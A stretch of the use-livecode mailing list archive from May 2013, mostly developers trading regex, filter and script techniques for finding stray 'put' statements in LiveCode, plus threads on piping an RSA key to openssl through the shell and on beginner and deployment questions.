Finding orphaned "put" In-Reply-To: References: Message-ID: On Sat, May 4, 2013 at 1:05 PM, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? I've dealt with this by having a "ck" command. I can variously set it answer the argument, put the argument, or append to a field in a watch window (or a combination of these) If nothing else, I can find these with breakpoints . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From pete at lcsql.com Sat May 4 17:22:10 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 4 May 2013 14:22:10 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: Hi WIlliam, You should be able to find your orphaned puts using a regular expression in the Find box In the script editor window, type command-F then click the More button and the the expand arrow for iptions, then check the regular expression box. In the Find What box type: ^\s+put\s.((?!(into|after)).)*$ then click find all after setting the option menu to stack or whatever scope you need for the find. That should find any lines that start with any number of spaces, then "put" and do not have the words "into" or "after" in the same line. This works in my regular expression test program but haven't tried it in LC Hope that helps Pete lcSQL Software PS I've been caught by this in the past and now have a "putmsg" handler that I call when I want to put something in the message box. Same for answer dialogs I use for debugging purposes. Much easier to find those and get rid of them. On Sat, May 4, 2013 at 1:05 PM, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From capellan2000 at gmail.com Sat May 4 17:27:40 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sat, 4 May 2013 14:27:40 -0700 (PDT) Subject: Word document indexer In-Reply-To: References: Message-ID: <1367702860205-4664261.post@n4.nabble.com> Hi Skip, skiplondon wrote > [snip] I was looking to index a large amount of WORD documents > that I could then reference via a text search. Download and try this software: http://www.runrev.com/store/product/word-lib-1-3-0/ Have a nice weekend! Alejandro -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Word-document-indexer-tp4664147p4664261.html Sent from the Revolution - User mailing list archive at Nabble.com. From jhj at jhj.com Sat May 4 17:29:10 2013 From: jhj at jhj.com (Jerry Jensen) Date: Sat, 4 May 2013 14:29:10 -0700 Subject: Finding orphaned "put" In-Reply-To: References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Message-ID: On May 4, 2013, at 1:35 PM, william humphrey wrote: > Grep is way to difficult to use for this. And it isn't just "into" it's > also "after". And also "before". Also a bunch of other things that you can see in the dictionary by finding "put". Also require white space before and after so you don't get stuff like "input" or "output" for us audio nerds. .Jerry From mwieder at ahsoftware.net Sat May 4 17:51:03 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sat, 4 May 2013 14:51:03 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: <5361001190.20130504145103@ahsoftware.net> william- Saturday, May 4, 2013, 1:15:47 PM, you wrote: > I have many lines of script which say "put something into variable" > I have one line of script which just says "put variable" - what that does > is open the message box. I'd like to find that line of script and delete > it. > Could I really put 6000 lines of script in a variable? Yep. I occasionally need to put 11000 lines into a variable. Anyway, put theScript into tVariable filter tVariable with "put*" filter tVariable without "* into *" filter tVariable without "* before *" filter tVariable without "* after *" if the number of lines in tVariable is 1 then find tVariable end if should get you close. -- -Mark Wieder mwieder at ahsoftware.net From alex at tweedly.net Sat May 4 17:58:52 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sat, 04 May 2013 22:58:52 +0100 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: <5185849C.4030508@tweedly.net> 6.0 contains a new feature (which I've not yet used :-) - in the message box there is a button (top right, looks kind of like a target symbol) when you click it, the editor shows you the source script line that caused the last output. That might help you in this case .... -- Alex. On 04/05/2013 21:05, william humphrey wrote: > I remember reading somewhere that version 6.0 or maybe GLX2 script editor > has a way to find an orphaned "put". Anybody have any suggestions? If I > search for every "put" in my 6500 lines of code it will take a while and my > eyes will go blurry reading each one to check if it is putting to the > message box or not. Maybe there would be a way to "turn off" having a PUT > go right to the message box unless you say "put variable in the message > box"? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Sat May 4 18:05:41 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 04 May 2013 17:05:41 -0500 Subject: Finding orphaned "put" In-Reply-To: References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Message-ID: <51858635.9000505@hyperactivesw.com> On 5/4/13 3:35 PM, william humphrey wrote: > Grep is way to difficult to use for this. And it isn't just "into" it's > also "after". I'm back to wishing there was a way to turn off the message > box feature of being called without explicitly calling it. It is truly evil. If you are using LiveCode 6, run your scripts until the message box pops up. Then click the little target-looking icon at the left of the top-right group of icons, and it should take you to the line of script. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Sat May 4 18:10:22 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 4 May 2013 15:10:22 -0700 Subject: feeding a private rsa key through the shell to get the public Message-ID: I'm successfully generating an rsa key and putting it where I needed it (a field). I'm not having any luck extracting it from a shell command. I want to do something like put the shell of "echo " & fld privateKey & " | openssl rsa -pubout" but this yields a blank line and the private key. (on the command line, cat testkey.pem | openssl rsa -pubout produces the public key) I'm trying to avoid writing a diskfile or making any assumptions about the file system. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From alex at tweedly.net Sat May 4 18:24:46 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sat, 04 May 2013 23:24:46 +0100 Subject: feeding a private rsa key through the shell to get the public In-Reply-To: References: Message-ID: <51858AAE.4050601@tweedly.net> Maybe put the shell of ("echo " & fld privateKey & " | openssl rsa -pubout") -- Alex. On 04/05/2013 23:10, Dr. Hawkins wrote: > I'm successfully generating an rsa key and putting it where I needed it (a > field). > > I'm not having any luck extracting it from a shell command. > > I want to do something like > > put the shell of "echo " & fld privateKey & " | openssl rsa -pubout" > > but this yields a blank line and the private key. > > (on the command line, > cat testkey.pem | openssl rsa -pubout > > produces the public key) > > I'm trying to avoid writing a diskfile or making any assumptions about the > file system. > From dochawk at gmail.com Sat May 4 18:46:24 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 4 May 2013 15:46:24 -0700 Subject: feeding a private rsa key through the shell to get the public In-Reply-To: <51858AAE.4050601@tweedly.net> References: <51858AAE.4050601@tweedly.net> Message-ID: On Sat, May 4, 2013 at 3:24 PM, Alex Tweedly wrote: > put the shell of ("echo " & fld privateKey & " | openssl rsa -pubout") > that produces, -----BEGIN RSA PRIVATE KEY----- /bin/sh: line 2: MIIJKQIBAAKCAgEAqtf05M03fM9BaOhdaY1C+dfp6D1dHDa9pJ7RBgcYd57n3AiY: command not found /bin/sh: line 3: MF/yA1y8l4+OCJG8tBmgeRJweNqqUrMOh33HDkY52088vVLJLmExHv56hTqNblFw: No such file or directory The multi-line key isn't getting quoted to echo, and I've tried both single and double quotes on this. I note that the file when I dump the key field uses ^M rather than ^J. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From alex at tweedly.net Sat May 4 18:53:08 2013 From: alex at tweedly.net (Alex Tweedly) Date: Sat, 04 May 2013 23:53:08 +0100 Subject: feeding a private rsa key through the shell to get the public In-Reply-To: References: <51858AAE.4050601@tweedly.net> Message-ID: <51859154.8030800@tweedly.net> I know you said you were trying to avoid using files - but it might be the easiest option. Write the field to a temp file, then use that in the shell command; I think if you use specialfolderPath("Temporary") you will be independent of file system variations (for desktops). Otherwise - sorry, I don't know enough about the different shells to suggest how to deal with multi-line quoting across the various platforms. -- Alex. On 04/05/2013 23:46, Dr. Hawkins wrote: > On Sat, May 4, 2013 at 3:24 PM, Alex Tweedly wrote: > >> put the shell of ("echo " & fld privateKey & " | openssl rsa -pubout") >> > that produces, > > -----BEGIN RSA PRIVATE KEY----- > /bin/sh: line 2: > MIIJKQIBAAKCAgEAqtf05M03fM9BaOhdaY1C+dfp6D1dHDa9pJ7RBgcYd57n3AiY: command > not found > /bin/sh: line 3: > MF/yA1y8l4+OCJG8tBmgeRJweNqqUrMOh33HDkY52088vVLJLmExHv56hTqNblFw: No such > file or directory > > The multi-line key isn't getting quoted to echo, and I've tried both single > and double quotes on this. > > I note that the file when I dump the key field uses ^M rather than ^J. > > From scott at tactilemedia.com Sat May 4 19:29:30 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Sat, 04 May 2013 16:29:30 -0700 Subject: Finding orphaned "put" In-Reply-To: Message-ID: Here's a script I use that answers the offending line(s) of script with line numbers: on mouseUp put script of into S put empty into temp put 1 into N repeat for each line L in S if "put" is in L and ("into" is not in L and "after" is not in L and "before" is not in L) then put "Line" && N & cr & L & cr & cr after temp end if add 1 to N end repeat if temp is empty then answer "All clear!" else answer temp end mouseUp Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/4/13 1:05 PM, "william humphrey" wrote: >I remember reading somewhere that version 6.0 or maybe GLX2 script editor >has a way to find an orphaned "put". Anybody have any suggestions? If I >search for every "put" in my 6500 lines of code it will take a while and >my >eyes will go blurry reading each one to check if it is putting to the >message box or not. Maybe there would be a way to "turn off" having a PUT >go right to the message box unless you say "put variable in the message >box"? >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Sat May 4 19:37:24 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 4 May 2013 16:37:24 -0700 Subject: Finding orphaned "put" In-Reply-To: References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> Message-ID: William, Just tried out the regexp I gave you and found it needs a couple of changes to deal with case insensitivity, looking for "before" and also dealing with the LC script continuation char "\" which could occur at the end of a line before the into/after/before. The new version of the regexp is: (?im)^\s*put\s((?!(into|after|before|\\)).)*$ It works very nicely since doing it this way lists the object and line number of the offending script line so it's easy to go directly to them and delete them. I discoverved a couple of orphaned puts lurking in some old code I had! I think I will put this check into my release procedures. Pete lcSQL Software On Sat, May 4, 2013 at 2:29 PM, Jerry Jensen wrote: > On May 4, 2013, at 1:35 PM, william humphrey > wrote: > > > Grep is way to difficult to use for this. And it isn't just "into" it's > > also "after". > > And also "before". Also a bunch of other things that you can see in the > dictionary by finding "put". Also require white space before and after so > you don't get stuff like "input" or "output" for us audio nerds. > .Jerry > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Sat May 4 19:42:12 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 4 May 2013 16:42:12 -0700 Subject: Finding orphaned "put" In-Reply-To: <51858635.9000505@hyperactivesw.com> References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> <51858635.9000505@hyperactivesw.com> Message-ID: But that requires him to know how to execute the code that puts to the message box - if he knew that, he'd know where to look to delete it :-) Pete lcSQL Software On Sat, May 4, 2013 at 3:05 PM, J. Landman Gay wrote: > On 5/4/13 3:35 PM, william humphrey wrote: > >> Grep is way to difficult to use for this. And it isn't just "into" it's >> also "after". I'm back to wishing there was a way to turn off the message >> box feature of being called without explicitly calling it. It is truly >> evil. >> > > If you are using LiveCode 6, run your scripts until the message box pops > up. Then click the little target-looking icon at the left of the top-right > group of icons, and it should take you to the line of script. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sat May 4 19:58:48 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 4 May 2013 18:58:48 -0500 Subject: LiveCode Beginner Question Message-ID: Can someone help me out with this? Link: http://forums.runrev.com/viewtopic.php?f=7&t=15030 From pete at lcsql.com Sat May 4 20:15:41 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 4 May 2013 17:15:41 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: Hi Scott, This will list lines that have a continuation char - "/" - at the end with into/after/before on the next line. Pretty remote circumstance but I tend to do that if I have a particularly long source with lots of "&" and "&&" to make it more readable. Still think the regexp approach is the easiest - no scripts, just uses standard script editor find function to look in the current object, stack, stack file, etc. Pete lcSQL Software On Sat, May 4, 2013 at 4:29 PM, Scott Rossi wrote: > Here's a script I use that answers the offending line(s) of script with > line numbers: > > on mouseUp > put script of into S > put empty into temp > put 1 into N > repeat for each line L in S > if "put" is in L and ("into" is not in L and "after" is not in L and > "before" is not in L) then > put "Line" && N & cr & L & cr & cr after temp > end if > add 1 to N > end repeat > if temp is empty then > answer "All clear!" > else answer temp > end mouseUp > > > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/4/13 1:05 PM, "william humphrey" wrote: > > >I remember reading somewhere that version 6.0 or maybe GLX2 script editor > >has a way to find an orphaned "put". Anybody have any suggestions? If I > >search for every "put" in my 6500 lines of code it will take a while and > >my > >eyes will go blurry reading each one to check if it is putting to the > >message box or not. Maybe there would be a way to "turn off" having a PUT > >go right to the message box unless you say "put variable in the message > >box"? > >_______________________________________________ > >use-livecode mailing list > >use-livecode at lists.runrev.com > >Please visit this url to subscribe, unsubscribe and manage your > >subscription preferences: > >http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Sat May 4 20:24:46 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 4 May 2013 17:24:46 -0700 Subject: LiveCode Beginner Question In-Reply-To: References: Message-ID: Just posted on the forum. Pete lcSQL Software On Sat, May 4, 2013 at 4:58 PM, Shawn Blc wrote: > Can someone help me out with this? > > Link: http://forums.runrev.com/viewtopic.php?f=7&t=15030 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at lcsql.com Sat May 4 20:26:04 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 4 May 2013 17:26:04 -0700 Subject: Finding orphaned "put" In-Reply-To: References: Message-ID: Sorry, I meant "\", not "/" Pete lcSQL Software On Sat, May 4, 2013 at 5:15 PM, Peter Haworth wrote: > Hi Scott, > This will list lines that have a continuation char - "/" - at the end with > into/after/before on the next line. Pretty remote circumstance but I tend > to do that if I have a particularly long source with lots of "&" and "&&" > to make it more readable. > > Still think the regexp approach is the easiest - no scripts, just uses > standard script editor find function to look in the current object, stack, > stack file, etc. > > > Pete > lcSQL Software > > > On Sat, May 4, 2013 at 4:29 PM, Scott Rossi wrote: > >> Here's a script I use that answers the offending line(s) of script with >> line numbers: >> >> on mouseUp >> put script of into S >> put empty into temp >> put 1 into N >> repeat for each line L in S >> if "put" is in L and ("into" is not in L and "after" is not in L and >> "before" is not in L) then >> put "Line" && N & cr & L & cr & cr after temp >> end if >> add 1 to N >> end repeat >> if temp is empty then >> answer "All clear!" >> else answer temp >> end mouseUp >> >> >> >> Regards, >> >> Scott Rossi >> Creative Director >> Tactile Media, UX/UI Design >> >> >> >> >> On 5/4/13 1:05 PM, "william humphrey" wrote: >> >> >I remember reading somewhere that version 6.0 or maybe GLX2 script editor >> >has a way to find an orphaned "put". Anybody have any suggestions? If I >> >search for every "put" in my 6500 lines of code it will take a while and >> >my >> >eyes will go blurry reading each one to check if it is putting to the >> >message box or not. Maybe there would be a way to "turn off" having a PUT >> >go right to the message box unless you say "put variable in the message >> >box"? >> >_______________________________________________ >> >use-livecode mailing list >> >use-livecode at lists.runrev.com >> >Please visit this url to subscribe, unsubscribe and manage your >> >subscription preferences: >> >http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From shawnlivecode at gmail.com Sat May 4 20:46:34 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 4 May 2013 19:46:34 -0500 Subject: LiveCode Beginner Question In-Reply-To: References: Message-ID: Thanks. I updated the thread, but still no luck. On Sat, May 4, 2013 at 7:24 PM, Peter Haworth wrote: > Just posted on the forum. > > Pete > lcSQL Software > > > On Sat, May 4, 2013 at 4:58 PM, Shawn Blc wrote: > > > Can someone help me out with this? > > > > Link: http://forums.runrev.com/viewtopic.php?f=7&t=15030 > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Sat May 4 21:39:35 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 04 May 2013 20:39:35 -0500 Subject: Finding orphaned "put" In-Reply-To: References: <9B5A9BC2-D506-4589-B91E-7C8AB7AA3317@me.com> <51858635.9000505@hyperactivesw.com> Message-ID: Peter Haworth wrote: >But that requires him to know how to execute the code that puts to the >message box - if he knew that, he'd know where to look to delete it :-) > >Pete >lcSQL Software > > >On Sat, May 4, 2013 at 3:05 PM, J. Landman Gay >wrote: > >> On 5/4/13 3:35 PM, william humphrey wrote: >> >>> Grep is way to difficult to use for this. And it isn't just "into" >it's >>> also "after". I'm back to wishing there was a way to turn off the >message >>> box feature of being called without explicitly calling it. It is >truly >>> evil. >>> >> >> If you are using LiveCode 6, run your scripts until the message box >pops >> up. Then click the little target-looking icon at the left of the >top-right >> group of icons, and it should take you to the line of script. >> >> -- >> Jacqueline Landman Gay | jacque at hyperactivesw.com >> HyperActive Software | http://www.hyperactivesw.com >> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> >http://lists.runrev.com/**mailman/listinfo/use-livecode >> >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode Well, he said the message box kept popping up but he couldn't find from where. The next time it happens all he has to do is click the target button. :-) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jhj at jhj.com Sat May 4 21:40:52 2013 From: jhj at jhj.com (Jerry Jensen) Date: Sat, 4 May 2013 18:40:52 -0700 Subject: Finding orphaned "put" In-Reply-To: <5185849C.4030508@tweedly.net> References: <5185849C.4030508@tweedly.net> Message-ID: <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> On May 4, 2013, at 2:58 PM, Alex Tweedly wrote > 6.0 contains a new feature (which I've not yet used :-) - in the message box there is a button (top right, looks kind of like a target symbol) > when you click it, the editor shows you the source script line that caused the last output. SWEET! That got me to download 6. .Jerry From mwieder at ahsoftware.net Sat May 4 21:55:06 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Sat, 4 May 2013 18:55:06 -0700 Subject: Finding orphaned "put" In-Reply-To: <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> Message-ID: <18175644732.20130504185506@ahsoftware.net> Jerry- Saturday, May 4, 2013, 6:40:52 PM, you wrote: > SWEET! That got me to download 6. It's a very cool feature, and one that I don't think has been hyped enough. -- -Mark Wieder mwieder at ahsoftware.net From gbojsza at gmail.com Sat May 4 21:57:32 2013 From: gbojsza at gmail.com (Glen Bojsza) Date: Sat, 4 May 2013 21:57:32 -0400 Subject: LiveCode Beginner Question In-Reply-To: References: Message-ID: set the hilitedbutton of grp "grpA1" to none also if not on the card where the object is reference it by object and then card... set the hilitedButton of grp "grpA2" of card "question2" to none Is this what you are looking for? On Sat, May 4, 2013 at 7:58 PM, Shawn Blc wrote: > Can someone help me out with this? > > Link: http://forums.runrev.com/viewtopic.php?f=7&t=15030 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shawnlivecode at gmail.com Sat May 4 22:13:54 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sat, 4 May 2013 21:13:54 -0500 Subject: LiveCode Beginner Question In-Reply-To: References: Message-ID: Glen, I appreciate the response, but that's basically what I have, instead of none, I have 0. Even changing it to none though it's the same. For further details you can read my post: http://forums.runrev.com/viewtopic.php?f=7&t=15030&p=74956#p74956 On Sat, May 4, 2013 at 8:57 PM, Glen Bojsza wrote: > set the hilitedbutton of grp "grpA1" to none > > also if not on the card where the object is reference it by object and then > card... > > set the hilitedButton of grp "grpA2" of card "question2" to none > > Is this what you are looking for? > > On Sat, May 4, 2013 at 7:58 PM, Shawn Blc wrote: > > > Can someone help me out with this? > > > > Link: http://forums.runrev.com/viewtopic.php?f=7&t=15030 > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From bill at bluewatermaritime.com Sat May 4 22:14:44 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 22:14:44 -0400 Subject: Finding orphaned "put" In-Reply-To: <18175644732.20130504185506@ahsoftware.net> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: (?im)^\s*put\s((?!(into|after|before|\\)).)*$ is wonderful but gives me 450 lines to look through (admittedly less than 6500). Found lots of commented code and lines like: *put* tHolder2 & *return* after tAllCargoLines_Processed which have the word "after" so I don't get it. The target button would be wonderful but since the message box comes up, but nothing is in it when it does, maybe that makes it not work. On Sat, May 4, 2013 at 9:55 PM, Mark Wieder wrote: > Jerry- > > Saturday, May 4, 2013, 6:40:52 PM, you wrote: > > > SWEET! That got me to download 6. > > It's a very cool feature, and one that I don't think has been hyped > enough. > > -- > -Mark Wieder > > From bill at bluewatermaritime.com Sat May 4 22:24:50 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 22:24:50 -0400 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: (?im)^\s*put\s((?!(after|into|before|\\)).)*$ the after|into|before , guessing the vertical bar means "or" but is not working. It only works for whatever the first word is and then still finds the next two. From bill at bluewatermaritime.com Sat May 4 22:30:35 2013 From: bill at bluewatermaritime.com (william humphrey) Date: Sat, 4 May 2013 22:30:35 -0400 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: But (?im)^\s*put\s((?!(into|after|before|\\)).)*$ -- works perfectly in BBedit. Thank you very much (just doesn't work in live code perhaps because I don't know how to tell livecode to use Regex in the find feature). On Sat, May 4, 2013 at 10:24 PM, william humphrey < bill at bluewatermaritime.com> wrote: > (?im)^\s*put\s((?!(after|into|before|\\)).)*$ > > > the after|into|before , guessing the vertical bar means "or" but is not > working. It only works for whatever the first word is and then still finds > the next two. > -- http://www.bluewatermaritime.com From jhj at jhj.com Sat May 4 22:42:37 2013 From: jhj at jhj.com (Jerry Jensen) Date: Sat, 4 May 2013 19:42:37 -0700 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: <548A7BB8-957E-45B7-BDA6-DD3F482C6AA3@jhj.com> On May 4, 2013, at 7:24 PM, william humphrey wrote: > (?im)^\s*put\s((?!(after|into|before|\\)).)*$ Gesundheit! From jacque at hyperactivesw.com Sun May 5 00:37:02 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 04 May 2013 23:37:02 -0500 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: <5185E1EE.9030400@hyperactivesw.com> On 5/4/13 9:14 PM, william humphrey wrote: > The target button would be wonderful but since the message box comes up, > but nothing is in it when it does, maybe that makes it not work. It works for me here. It sounds like the "put" is putting empty into the message box, which is too bad. It would have been an easy solution. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From gbojsza at gmail.com Sun May 5 02:07:34 2013 From: gbojsza at gmail.com (Glen Bojsza) Date: Sun, 5 May 2013 02:07:34 -0400 Subject: feeding a private rsa key through the shell to get the public In-Reply-To: References: <51858AAE.4050601@tweedly.net> Message-ID: Have you tried... put shell ("openssl rsa -in /path/mypemfile -pubout") Glen On Sat, May 4, 2013 at 6:46 PM, Dr. Hawkins wrote: > On Sat, May 4, 2013 at 3:24 PM, Alex Tweedly wrote: > > > put the shell of ("echo " & fld privateKey & " | openssl rsa -pubout") > > > > that produces, > > -----BEGIN RSA PRIVATE KEY----- > /bin/sh: line 2: > MIIJKQIBAAKCAgEAqtf05M03fM9BaOhdaY1C+dfp6D1dHDa9pJ7RBgcYd57n3AiY: command > not found > /bin/sh: line 3: > MF/yA1y8l4+OCJG8tBmgeRJweNqqUrMOh33HDkY52088vVLJLmExHv56hTqNblFw: No such > file or directory > > The multi-line key isn't getting quoted to echo, and I've tried both single > and double quotes on this. > > I note that the file when I dump the key field uses ^M rather than ^J. > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From gbojsza at gmail.com Sun May 5 02:13:18 2013 From: gbojsza at gmail.com (Glen Bojsza) Date: Sun, 5 May 2013 02:13:18 -0400 Subject: feeding a private rsa key through the shell to get the public In-Reply-To: References: <51858AAE.4050601@tweedly.net> Message-ID: Sorry, I just realized you are avoiding using a file ... jumped the gun. On Sun, May 5, 2013 at 2:07 AM, Glen Bojsza wrote: > Have you tried... > > put shell ("openssl rsa -in /path/mypemfile -pubout") > > Glen > > > > On Sat, May 4, 2013 at 6:46 PM, Dr. Hawkins wrote: > >> On Sat, May 4, 2013 at 3:24 PM, Alex Tweedly wrote: >> >> > put the shell of ("echo " & fld privateKey & " | openssl rsa -pubout") >> > >> >> that produces, >> >> -----BEGIN RSA PRIVATE KEY----- >> /bin/sh: line 2: >> MIIJKQIBAAKCAgEAqtf05M03fM9BaOhdaY1C+dfp6D1dHDa9pJ7RBgcYd57n3AiY: command >> not found >> /bin/sh: line 3: >> MF/yA1y8l4+OCJG8tBmgeRJweNqqUrMOh33HDkY52088vVLJLmExHv56hTqNblFw: No such >> file or directory >> >> The multi-line key isn't getting quoted to echo, and I've tried both >> single >> and double quotes on this. >> >> I note that the file when I dump the key field uses ^M rather than ^J. >> >> >> -- >> Dr. Richard E. Hawkins, Esq. >> (702) 508-8462 >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From admin at FlexibleLearning.com Sun May 5 03:07:23 2013 From: admin at FlexibleLearning.com (FlexibleLearning.com) Date: Sun, 5 May 2013 08:07:23 +0100 Subject: Storing a control in a custom property In-Reply-To: Message-ID: I've copied this tidbit to the Scripter's Scrapbook. www.ssbk.co.uk Hugh Senior FLCo -- Original message Hi All, After reading this thread, I just keep wondering if this particular tidbit was published before. (and where?) This thread is a useful reminder (at least for me) that I don't really know every nook and cranny of this development platform. Alejandro From nigels at amglighthouse.co.za Sun May 5 03:41:07 2013 From: nigels at amglighthouse.co.za (Nigel Soden) Date: Sun, 5 May 2013 09:41:07 +0200 Subject: Installing App on iPad Message-ID: Greeting Is there a way that I can load a LC application from my MAC to a iPad or iPhone without having to join the apple developers thingemajig. I've got both V5.5.3 and V6.0.1. I would like to use 6.0.1, without also having to purchase AirLaunch which doesn't work on v6.0.1. The only reason for this request is I'm a little tight on spare cash to dish out and I need to test my application on a iPad. Eventually when I've saved sufficient shekels I'll purchase whatever I need to make the application commercial legal, but 